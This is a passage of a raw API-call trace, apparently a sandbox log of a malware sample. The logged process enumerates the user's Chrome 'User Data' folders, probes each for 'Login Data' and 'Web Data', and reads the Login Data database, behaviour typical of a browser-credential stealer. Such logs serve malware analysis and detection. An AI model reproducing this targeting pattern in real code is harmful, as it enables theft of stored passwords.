"c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\default\\login data")) returned 0x2020 [0070.639] LockFile (hFile=0x134, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.639] LockFileEx (in: hFile=0x134, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x288b3c | out: lpOverlapped=0x288b3c) returned 1 [0070.639] UnlockFile (hFile=0x134, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.639] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x3d36cb, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83 [0070.639] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x3d36cb, cbMultiByte=-1, lpWideCharStr=0x2b4350, cchWideChar=83 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal") returned 83 [0070.640] UnlockFile (hFile=0x134, dwFileOffsetLow=0x40000002, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.640] LockFile (hFile=0x134, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.640] LockFileEx (in: hFile=0x134, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x288d4c | out: lpOverlapped=0x288d4c) returned 1 [0070.640] UnlockFile (hFile=0x134, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.640] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x3d36cb, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83 [0070.640] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x3d36cb, cbMultiByte=-1, lpWideCharStr=0x2d2248, cchWideChar=83 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal") returned 83 [0070.640] GetFileSize (in: hFile=0x134, lpFileSizeHigh=0x288d70 | out: lpFileSizeHigh=0x288d70*=0x0) returned 0x4800 [0070.640] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x3d371e, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0070.640] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x3d371e, cbMultiByte=-1, lpWideCharStr=0x2d2248, cchWideChar=79 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-wal") returned 79 [0070.658] UnlockFile (hFile=0x134, dwFileOffsetLow=0x40000002, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.662] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.662] wcslen (_String="EVWhitelist") returned 0xb [0070.662] wcscpy (in: _Dest=0x28b5f4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" [0070.662] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.662] wcscat (in: _Dest=0x28b5f4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0070.662] wcscat (in: _Dest=0x28b5f4, _Source="EVWhitelist" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist" [0070.662] wcscmp (_String1="EVWhitelist", _String2="..") returned 1 [0070.662] wcscmp (_String1="EVWhitelist", _String2=".") returned 1 [0070.662] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned 0x43 [0070.662] wcslen (_String="Web Data") returned 0x8 [0070.662] wcscpy (in: _Dest=0x28aef0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist" [0070.662] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned 0x43 [0070.662] wcscat (in: _Dest=0x28aef0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\" [0070.662] wcscat (in: _Dest=0x28aef0, _Source="Web Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\Web Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\Web Data" [0070.662] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\evwhitelist\\web data")) returned 0xffffffff [0070.662] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned 0x43 [0070.662] wcslen (_String="Login Data") returned 0xa [0070.662] wcscpy (in: _Dest=0x28aef0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist" [0070.662] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned 0x43 [0070.662] wcscat (in: _Dest=0x28aef0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\" [0070.662] wcscat (in: _Dest=0x28aef0, _Source="Login Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\Login Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\Login Data" [0070.662] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\evwhitelist\\login data")) returned 0xffffffff [0070.662] FindNextFileW (in: hFindFile=0x8a3a18, lpFindFileData=0x28b3a4 | out: lpFindFileData=0x28b3a4) returned 1 [0070.662] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.662] wcslen (_String="FileTypePolicies") returned 0x10 [0070.662] wcscpy (in: _Dest=0x28b5f4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" [0070.662] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.662] wcscat (in: _Dest=0x28b5f4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0070.662] wcscat (in: _Dest=0x28b5f4, _Source="FileTypePolicies" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies" [0070.662] wcscmp (_String1="FileTypePolicies", _String2="..") returned 1 [0070.662] wcscmp (_String1="FileTypePolicies", _String2=".") returned 1 [0070.663] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned 0x48 [0070.663] wcslen (_String="Web Data") returned 0x8 [0070.663] wcscpy (in: _Dest=0x28aef0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies" [0070.663] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned 0x48 [0070.663] wcscat (in: _Dest=0x28aef0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\" [0070.663] wcscat (in: _Dest=0x28aef0, _Source="Web Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\Web Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\Web Data" [0070.663] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\filetypepolicies\\web data")) returned 0xffffffff [0070.663] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned 0x48 [0070.663] wcslen (_String="Login Data") returned 0xa [0070.663] wcscpy (in: _Dest=0x28aef0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies" [0070.663] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned 0x48 [0070.663] wcscat (in: _Dest=0x28aef0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\" [0070.663] wcscat (in: _Dest=0x28aef0, _Source="Login Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\Login Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\Login Data" [0070.663] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\filetypepolicies\\login data")) returned 0xffffffff [0070.663] FindNextFileW (in: hFindFile=0x8a3a18, lpFindFileData=0x28b3a4 | out: lpFindFileData=0x28b3a4) returned 1 [0070.663] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.663] wcslen (_String="First Run") returned 0x9 [0070.664] wcscpy (in: _Dest=0x28b5f4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" [0070.664] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.664] wcscat (in: _Dest=0x28b5f4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0070.664] wcscat (in: _Dest=0x28b5f4, _Source="First Run" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\First Run") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\First Run" [0070.664] FindNextFileW (in: hFindFile=0x8a3a18, lpFindFileData=0x28b3a4 | out: lpFindFileData=0x28b3a4) returned 1 [0070.664] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.664] wcslen (_String="Local State") returned 0xb [0070.664] wcscpy (in: _Dest=0x28b5f4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" [0070.664] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.664] wcscat (in: _Dest=0x28b5f4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0070.664] wcscat (in: _Dest=0x28b5f4, _Source="Local State" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State" [0070.664] FindNextFileW (in: hFindFile=0x8a3a18, lpFindFileData=0x28b3a4 | out: lpFindFileData=0x28b3a4) returned 1 [0070.664] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.664] wcslen (_String="OriginTrials") returned 0xc [0070.664] wcscpy (in: _Dest=0x28b5f4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" [0070.664] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.664] wcscat (in: _Dest=0x28b5f4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0070.664] wcscat (in: _Dest=0x28b5f4, _Source="OriginTrials" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials" [0070.664] wcscmp (_String1="OriginTrials", _String2="..") returned 1 [0070.664] wcscmp (_String1="OriginTrials", _String2=".") returned 1 [0070.664] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned 0x44 [0070.664] wcslen (_String="Web Data") returned 0x8 [0070.664] wcscpy (in: _Dest=0x28aef0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials" [0070.664] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned 0x44 [0070.664] wcscat (in: _Dest=0x28aef0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\" [0070.664] wcscat (in: _Dest=0x28aef0, _Source="Web Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\Web Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\Web Data" [0070.664] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\origintrials\\web data")) returned 0xffffffff [0070.664] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned 0x44 [0070.664] wcslen (_String="Login Data") returned 0xa [0070.664] wcscpy (in: _Dest=0x28aef0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials" [0070.664] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned 0x44 [0070.664] wcscat (in: _Dest=0x28aef0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\" [0070.664] wcscat (in: _Dest=0x28aef0, _Source="Login Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\Login Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\Login Data" [0070.664] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\origintrials\\login data")) returned 0xffffffff [0070.664] FindNextFileW (in: hFindFile=0x8a3a18, lpFindFileData=0x28b3a4 | out: lpFindFileData=0x28b3a4) returned 1 [0070.664] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.664] wcslen (_String="PepperFlash") returned 0xb [0070.664] wcscpy (in: _Dest=0x28b5f4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" [0070.664] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.664] wcscat (in: _Dest=0x28b5f4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0070.664] wcscat (in: _Dest=0x28b5f4, _Source="PepperFlash" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash" [0070.664] wcscmp (_String1="PepperFlash", _String2="..") returned 1 [0070.664] wcscmp (_String1="PepperFlash", _String2=".") returned 1 [0070.664] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned 0x43 [0070.664] wcslen (_String="Web Data") returned 0x8 [0070.664] wcscpy (in: _Dest=0x28aef0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash" [0070.664] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned 0x43 [0070.664] wcscat (in: _Dest=0x28aef0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\" [0070.665] wcscat (in: _Dest=0x28aef0, _Source="Web Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\Web Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\Web Data" [0070.665] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\pepperflash\\web data")) returned 0xffffffff [0070.665] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned 0x43 [0070.665] wcslen (_String="Login Data") returned 0xa [0070.665] wcscpy (in: _Dest=0x28aef0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash" [0070.665] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned 0x43 [0070.665] wcscat (in: _Dest=0x28aef0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\" [0070.665] wcscat (in: _Dest=0x28aef0, _Source="Login Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\Login Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\Login Data" [0070.665] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\pepperflash\\login data")) returned 0xffffffff [0070.665] FindNextFileW (in: hFindFile=0x8a3a18, lpFindFileData=0x28b3a4 | out: lpFindFileData=0x28b3a4) returned 1 [0070.665] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.665] wcslen (_String="pnacl") returned 0x5 [0070.665] wcscpy (in: _Dest=0x28b5f4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" [0070.665] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.665] wcscat (in: _Dest=0x28b5f4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0070.665] wcscat (in: _Dest=0x28b5f4, _Source="pnacl" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl" [0070.665] wcscmp (_String1="pnacl", _String2="..") returned 1 [0070.665] wcscmp (_String1="pnacl", _String2=".") returned 1 [0070.665] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned 0x3d [0070.665] wcslen (_String="Web Data") returned 0x8 [0070.665] wcscpy (in: _Dest=0x28aef0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl" [0070.665] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned 0x3d [0070.665] wcscat (in: _Dest=0x28aef0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\" [0070.665] wcscat (in: _Dest=0x28aef0, _Source="Web Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\Web Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\Web Data" [0070.665] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\pnacl\\web data")) returned 0xffffffff [0070.665] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned 0x3d [0070.665] wcslen (_String="Login Data") returned 0xa [0070.665] wcscpy (in: _Dest=0x28aef0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl" [0070.665] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned 0x3d [0070.665] wcscat (in: _Dest=0x28aef0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\" [0070.666] wcscat (in: _Dest=0x28aef0, _Source="Login Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\Login Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\Login Data" [0070.666] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\pnacl\\login data")) returned 0xffffffff [0070.666] FindNextFileW (in: hFindFile=0x8a3a18, lpFindFileData=0x28b3a4 | out: lpFindFileData=0x28b3a4) returned 1 [0070.666] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.666] wcslen (_String="SSLErrorAssistant") returned 0x11 [0070.666] wcscpy (in: _Dest=0x28b5f4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" [0070.666] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.666] wcscat (in: _Dest=0x28b5f4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0070.666] wcscat (in: _Dest=0x28b5f4, 